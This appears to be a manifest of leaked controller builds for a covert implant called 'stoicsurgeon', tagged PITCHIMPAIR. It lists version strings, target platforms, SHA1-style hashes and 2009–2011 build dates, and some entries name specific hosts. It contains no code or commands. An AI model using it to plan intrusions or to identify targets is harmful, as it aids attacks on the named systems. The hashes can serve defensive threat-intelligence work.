stoicsurgeon_ctrl__v__1.5.17.12_x86_64-linux-centos-5.2 +4005B0F8962499525369610119ADD45DC5588307 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.13_x86_64-linux-centos-5.1 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.15_x86-linux-asianux-1.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.16_x86-linux-slackware-10.1 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.17_x86-linux-slackware-11.0 +4005B0F8962499525369610119ADD45DC5588307 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.18_x86_64-linux-redhat-enterprise-5.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.1_x86-linux-suse-10.2 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.20_x86-linux-suse-9.3 +3743120477E9718061FE906977A9B7B1939DBF0A Mon Jan 25 17:22:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.22_x86_64-linux-suse-10.1 +2ED7583A61E4A7DD9800C58E55660F3D577F9F24 Wed Jan 27 19:26:48 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.24_x86-freebsd-7.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.25_x86-linux-centos-4.8 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.26_x86-linux-slackware-10.2 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.27_x86-linux-steelsnob-babar +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.3_x86-linux-suse-10.3 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.4_x86-linux-suse-10.1 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.5_x86-linux-suse-10.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.6_x86-linux-suse-10.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.7_x86-linux-centos-5.4 +4005B0F8962499525369610119ADD45DC5588307 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.8_x86_64-linux-centos-5.3 +7C4E42DC877BFF6B753DF087153384933C612D41 Thu Jan 28 17:41:45 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.18.1_sparc-sun-solaris2.10 +561835B4D668F3FC05D22DCEAA1CDE349FB4F0FB Tue Feb 23 01:11:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.19.1_x86_64-linux-redhat-enterprise-5.0 +9D3A6ACB77F2A67E130D98A3E303234C4D51D10C Tue Feb 23 17:44:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.19.2_i386-pc-solaris2.10 +1E8B5C20C3D45938639277627B07AF7ADDA0B79F Tue Mar 16 19:39:07 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.10_x86-linux-darkthunder-nsp.yemen.net.ye +504EA7219B7FC10719186AC787F2D2FB498B948B Wed Mar 17 17:25:03 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.12_x86-freebsd-7.1 +9DE5F93389F80791463FC42C3F4AFE16ACE65646 Wed Feb 24 20:47:51 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.1_x86-freebsd-5.4 +2990986696251A46DD89A60423F9F3AD57FC844B Thu Feb 25 16:06:49 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.2_x86-freebsd-6.1 +F1613FF3E9FCB32C4C29A7F484D8121177FCD556 Thu Feb 25 19:16:20 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.3_x86-freebsd-6.0 +8AC946B156123AC4683C605446B02AA4506EA0CF Thu Feb 25 19:33:12 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.4_x86-freebsd-6.2 +29224C03114EA37E240E9523E54D55EEB4390185 Tue Mar 2 18:46:10 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.6_x86-freebsd-5.5 +A71B80B4B7E9E734AA04BD3A154AC0BCE0CB1D6D Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.7_x86-linux-centos-5.4 +A71B80B4B7E9E734AA04BD3A154AC0BCE0CB1D6D Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.8_x86-linux-straitshooter-ibs-bk +A71B80B4B7E9E734AA04BD3A154AC0BCE0CB1D6D Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.9_x86-linux-centos-4.8 +6824F9257F9954AE280692B0EC8E4C1056B15905 Mon Mar 1 19:29:41 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.1_x86-junos-9.6 +382682BFF966666E38DC2AECD6FAD1DC27E5A0D9 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.2_x86_64-linux-debian-5.0 +382682BFF966666E38DC2AECD6FAD1DC27E5A0D9 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.3_x86_64-linux-centos-5.0 +382682BFF966666E38DC2AECD6FAD1DC27E5A0D9 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.4_x86_64-linux-scientific-5.1 +382682BFF966666E38DC2AECD6FAD1DC27E5A0D9 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.5_x86_64-linux-suse-10.2 +AAB6B0722B74CE3075BEF329BDD7D69F99146FAE Wed Mar 17 18:37:35 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.6_x86-linux-redhat-enterprise-5.4 +24B0488C1BE7F581511DB3BE97BEDC3CAD7EF93F Wed Mar 24 00:15:37 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.2_x86_64-linux-redhat-enterprise-5.4 +03C4CF0976D0E70DAFD04D94903D0C904BEF37F3 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.3_x86-linux-centos-5.4 +03C4CF0976D0E70DAFD04D94903D0C904BEF37F3 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.4_x86-linux-redhat-8.0 +7D5ED4389D5FF9DD4BD9327A5A81C308924A51D7 Thu Apr 1 18:18:51 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.5_x86_64-linux-debian-5.0 +03C4CF0976D0E70DAFD04D94903D0C904BEF37F3 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.6_x86-linux-debian-5.0 +87D1B6EC6A2B8A60C7F58E71EC9B751952DB0F68 Tue Apr 27 00:24:08 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.1_x86_64-linux-vinifera-ie103 +C1C133F1A41C9C19742F8569FC9DD78A99A57A56 Thu Apr 29 14:43:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.2_x86_64-linux-vinifera-ie104 +C1C133F1A41C9C19742F8569FC9DD78A99A57A56 Thu Apr 29 14:43:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.3_x86_64-linux-centos-5.4 +929AD8D3673913FABD800E00388D3447492D2C23 Mon May 10 14:51:52 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.4_x86-linux-redhat-enterprise-5.2 +929AD8D3673913FABD800E00388D3447492D2C23 Mon May 10 14:51:52 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.5_x86-linux-centos-4.8 +D9EC5CBE547F46ADFDB4EE78AE2D0872516163B1 Fri May 14 12:07:15 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.24.1_sparc-sun-solaris2.7 +5221873FFB50711DB904BB04973BC07572E1AF92 Fri May 14 17:49:13 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.24.2_x86-linux-avaya-5.2.1 +1AB960FE646AD0B99DE2DC781FD15F7FA9C2A864 Fri May 21 17:19:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.25.1_x86-linux-ubuntu-8.04 +1AB960FE646AD0B99DE2DC781FD15F7FA9C2A864 Fri May 21 17:19:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.25.2_x86-linux-centos-3.6 +1AB960FE646AD0B99DE2DC781FD15F7FA9C2A864 Fri May 21 17:19:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.25.3_x86-linux-redhat-enterprise-4.0 +1AB960FE646AD0B99DE2DC781FD15F7FA9C2A864 Fri May 21 17:19:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.25.4_x86-linux-centos-3.6 +779D74754C86456114B4084DD9799BF5B2BA5AE4 Thu Jun 24 19:14:09 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.1_x86-linux-avaya +0982C354DFEE88D99DCA3FB225453DFF94FEB52C Wed Jun 9 11:56:41 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.2_x86_64-freebsd-7.0 +F4250729211A945A5B70A562FDE851FE5A0B583A Wed Jun 16 16:53:33 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.4_error_x86_64_linux_suse_enterprise_10.2_bin +F4250729211A945A5B70A562FDE851FE5A0B583A Wed Jun 16 16:53:33 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.4_x86_64-linux-suse-enterprise-10.2 +779D74754C86456114B4084DD9799BF5B2BA5AE4 Thu Jun 24 19:14:09 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.5_x86-linux-wickedviper +39F524A444082936BA89BA29E398A2ADD2BBF190 Thu Jun 24 21:55:39 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.27.1_x86-linux-redhat-enterprise-5.3 +A1F0F2CC3B41D7E276A6571184814F40937D6F8D Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.1_x86-linux-redhat-enterprise-5.2 +868E30FF8546960688F8E55EFF92A96C45029F13 Tue Jun 29 21:14:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.2_x86-linux-centos-5.2 +A1F0F2CC3B41D7E276A6571184814F40937D6F8D Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.3_x86-linux-redhat-enterprise-5.5 +A1F0F2CC3B41D7E276A6571184814F40937D6F8D Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.4_x86-linux-redhat-enterprise-3.0 +5937D06CA5B6B4C03802741E525D10BDF5F9D426 Fri Jul 2 23:42:12 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.5_x86_64-linux-centos-5.5 +8CBED715A05547827531BD399F4F8BD896FC942F Thu Jun 18 13:02:34 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.3.2_x86-freebsd-7.0 +CF438754E0F8A3766FB70A4FFD1ADBDE2D05875B Sat Jul 3 03:09:40 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.30.1_x86-linux-ubuntu-8.04 +F194724DEDCE7388A26701AC0118966CFF1A0962 Wed Jul 7 21:46:41 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.30.2_x86-linux-centos-5.5 +CF438754E0F8A3766FB70A4FFD1ADBDE2D05875B Sat Jul 3 03:09:40 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.30.5_x86-linux-avaya +F194724DEDCE7388A26701AC0118966CFF1A0962 Wed Jul 7 21:46:41 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.30.6_x86-linux-centos-5.4 +68635A2E3168E151B979E5B81BCA43011B33611D Thu Jul 22 13:26:28 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.10_sparc-sun-solaris2.10 +554AFAE571BC406C4D2AA0FE7102165D91A8C9F8 Thu Jul 22 13:55:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.11_i386-pc-solaris2.10 +EF413B99A91F3069C8DDAB6DB90FA5F502D48BA6 Mon Jul 26 18:17:40 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.12_sparc-sun-solaris2.9 +A8E183ED8DD0638AD8A5E1DC71CEE5F3F7C813DE Wed Jul 28 18:06:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.13_sparc-sun-solaris2.8 +A8E183ED8DD0638AD8A5E1DC71CEE5F3F7C813DE Wed Jul 28 18:06:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.14_sparc-sun-solaris2.8 +AC814EE79ECC05E7F30A04AF5C7B51ED2F8EA873 Tue Jul 13 16:02:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.1_x86-linux-slackware-13.0 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.2_x86-linux-slackware-9.1 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.3_x86-linux-slackware-10.0 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.4_x86-linux-slackware-10.1 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.5_x86-linux-slackware-10.2 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.6_x86-linux-slackware-11.0 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.7_x86-linux-slackware-12.0 +73632E556D4AFB6B76DCD73B7F4EB01427904050 Tue Jul 20 21:03:26 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.8_x86_64-linux-centos-5.3 +10B74F967CBC4D196E74477B4603A7DD4BCC0EA6 Fri Jul 23 20:58:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.32.1_x86-linux-redhat-enterprise-5.0 +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.1_error_x86_linux_slackware_13.0_i386_linux +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.1_x86-linux-slackware-13.0 +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.2_x86-linux-optimusprime-vezarat.dolat.ir +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.4_x86-linux-slackware-12.0 +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.5_x86-linux-avaya-3.1.4 +A4C4632EB725FF4487D5BE44C5ABCE7CC9642965 Tue Aug 24 20:15:25 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.6_x86-linux-centos-5.3 +C41132C662418A54DF763663E5F0F1D3353B6CF5 Thu Aug 26 13:28:26 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.1_x86-junos-9.2 +1C85959835A259B8056AA59719457033CEA6B638 Fri Sep 24 18:19:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.2_x86-junos-9.3 +1C85959835A259B8056AA59719457033CEA6B638 Fri Sep 24 18:19:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.3_x86-junos-8.5 +0ABFDD9DE834A9741BDEB959414AC8914091DACD Thu Aug 26 21:28:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.3_x86-linux-alt-1.0 +1C85959835A259B8056AA59719457033CEA6B638 Fri Sep 24 18:19:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.4_x86-junos-9.0 +1C85959835A259B8056AA59719457033CEA6B638 Fri Sep 24 18:19:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.5_x86-junos-9.1 +AC1075907C8E156A186D2D496FF5E621B4A41DE8 Fri Sep 10 17:13:43 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.35.1_x86-linux-bigip-9.1.2 +2833C7950E43D679F40C24C94987BED8AC9B7CFE Fri Oct 1 16:55:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.36.3_x86-linux-bigip-9.2.4 +7C99457F1F4075D132341FCB15CFFE81F39CA20C Thu Oct 21 18:38:13 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.37.2_x86-linux-bigip-9.2.4 +E633EE80CDFE2A9E0957D23F7EF2B629C2FC4D07 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.1_x86-linux-asianux-1.0 +E633EE80CDFE2A9E0957D23F7EF2B629C2FC4D07 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.2_x86-linux-suse-10.3 +E633EE80CDFE2A9E0957D23F7EF2B629C2FC4D07 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.3_x86-linux-suse-10.0 +C3521C94E9821D8F72F3AB90D883ABB4F1147EBF Mon Jun 22 20:08:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.4_x86-linux-avaya +E633EE80CDFE2A9E0957D23F7EF2B629C2FC4D07 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.5_x86-linux-ubuntu-8.04 +5314B33ACFCE934E26288040FF269BE8E4128832 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.1_x86-junos-8.5 +5314B33ACFCE934E26288040FF269BE8E4128832 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.2_x86-junos-9.0 +5314B33ACFCE934E26288040FF269BE8E4128832 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.3_x86-junos-9.1 +5314B33ACFCE934E26288040FF269BE8E4128832 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.4_x86-junos-9.2 +7D8E2EE9292EDE80CB9CD08991951C485A2B845E Thu Aug 13 21:51:07 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.5_x86-junos-9.3 +7D8E2EE9292EDE80CB9CD08991951C485A2B845E Thu Aug 13 21:51:07 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.6_x86-junos-9.4 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.1_x86-linux-alt-2.4 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.2_x86-linux-redhat-7.2 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.3_x86-linux-slackware-11.0 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.4_x86-linux-vinifera-bs101v01 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.5_x86-linux-redhat-enterprise-4.0 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.7_x86-linux-redhat-9.0 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.8_x86-linux-toadyteal-rowdaco.com +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.9_x86-linux-centos-5.1 +F1706A147B50E8CCEF163B35DF5994A043B192DE Thu Aug 20 19:16:16 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.9.1_x86_64-linux-suse-10.1 +08A1AB6D3C21ACA9D9BAA9B185AC8A19710778E9 Tue Aug 31 15:22:28 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.0.1_x86_64-freebsd-potbed-greencache4 +B523E7AC6E6BC3932601CEAC001A487C0516784D Wed Sep 1 11:50:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.0.2_x86_64-freebsd-7.0 +08A1AB6D3C21ACA9D9BAA9B185AC8A19710778E9 Tue Aug 31 15:22:28 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.0.3_x86_64-freebsd-potbed-cache55 +C0ED74ACBC0405E9621F521F2447644B1CEE3920 Fri Sep 3 19:55:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.0.6_x86_64-linux-centos-5.5 +6CDF33050FFC4E326BE157BFEFD05E60D4554B92 Tue Sep 14 22:35:25 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.1.1_x86-linux-centos-5.4 +6CDF33050FFC4E326BE157BFEFD05E60D4554B92 Tue Sep 14 22:35:25 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.1.2_x86-linux-centos-5.5 +F8AE947834EE13561608CBA25657143CB2A6E85A Fri Sep 17 17:16:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.1.4_x86_64-linux-redhat-enterprise-5.5 +E56E3C6AFE512B2932DBB0F9D13CDE3DA97D9F0D Wed Nov 17 18:19:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.10.2_x86-linux-centos-4.4 +E56E3C6AFE512B2932DBB0F9D13CDE3DA97D9F0D Wed Nov 17 18:19:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.10.5_x86-linux-acridmini-sg +F6EC9435B60795231ECB44448AF32073249D5D4D Mon Nov 29 19:06:01 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.11.1_x86-linux-fedora12 +F6EC9435B60795231ECB44448AF32073249D5D4D Mon Nov 29 19:06:01 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.11.2_x86-linux-redhat-enterprise-5.5 +0DC2217E11180BAAC8640B9E9245624E0AFF911B Fri Dec 3 00:02:13 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.11.4_x86_64-linux-centos-5.5 +109DEACF50A969A8FD05EC52C939E13074663278 Thu Dec 9 23:19:51 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.10_x86_64-linux-centos-4.8 +386583116E0242FCFF145C04F0AEB8C89208E09B Thu Dec 9 23:39:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.11_x86-linux-centos-5.5 +BDA500879DDAF85E838B04ECB08B70477CAFB14C Tue Dec 7 00:00:31 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.3_sparc-sun-solaris2.9 +8B54DC6E08B0F579677BF26017DEBFDD54815935 Mon Dec 6 20:25:09 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.5_x86-linux-redstar-1.1 +5FEC232E4748B0B0A197174B63852D918515D338 Mon Dec 6 20:54:26 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.6_x86-linux-optimusprime-vezarat.dolat.ir +F5A8029CA9EDEAD2A068BCFC927136D066F7C7C5 Mon Dec 6 21:40:05 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.7_x86-linux-centos-5.5 +D6B1D1237458CD0E94B8D5E9E57A41840D1D1441 Thu Dec 9 22:21:07 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.9_x86-linux-slackware-13.0-switchdown_warkitten +D4A42BAD502E05DA64C44601C54992EA81716DFD Mon Dec 13 16:57:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.13.1_sparc-sun-solaris2.10 +8F419297E785E81C5BE3FC73D4FE82049D85EC0D Wed Dec 15 15:39:28 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.13.4_x86-linux-ubuntu-5.10 +01BD5ED4F1922AA0A80A1AAC12870D46758F20B8 Fri Dec 17 15:30:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.1_x86_64-freebsd-potbed-greencache4 +765B25DFCC3261FA733437E731EAC93A088FC26E Wed Dec 29 23:10:57 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.2_x86-linux-centos-5.5 +01BD5ED4F1922AA0A80A1AAC12870D46758F20B8 Fri Dec 17 15:30:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.3_x86_64-freebsd-potbed-cache55 +01BD5ED4F1922AA0A80A1AAC12870D46758F20B8 Fri Dec 17 15:30:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.5_x86_64-freebsd-7.2 +CC985AC80CCF390485953A78BD06C722E2E8D076 Tue Dec 21 19:21:09 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.6_x86-freebsd-7.2 +765B25DFCC3261FA733437E731EAC93A088FC26E Wed Dec 29 23:10:57 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.7_x86-linux-redhat-7-1-tilttop +4D0112D25474844322DCDE979A959B8CC77C9C9E Thu Dec 30 20:51:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.8_x86-linux-debian-3.1-darkscrew +8F8A2C4F4AB90858B6D3269DC1571B26FB9228CE Thu Jan 6 00:13:46 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.15.1_x86-junos-10.0 +8F8A2C4F4AB90858B6D3269DC1571B26FB9228CE Thu Jan 6 00:13:46 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.15.2_x86-junos-10.1 +8F8A2C4F4AB90858B6D3269DC1571B26FB9228CE Thu Jan 6 00:13:46 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.15.3_x86-junos-10.2 +8F8A2C4F4AB90858B6D3269DC1571B26FB9228CE Thu Jan 6 00:13:46 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.15.4_x86-junos-10.3 +44D0AEF0E39137AA2D85C2A1D2B752E116E7723C Fri Jan 7 23:31:44 2011 [PITCHIMPAIR.12] 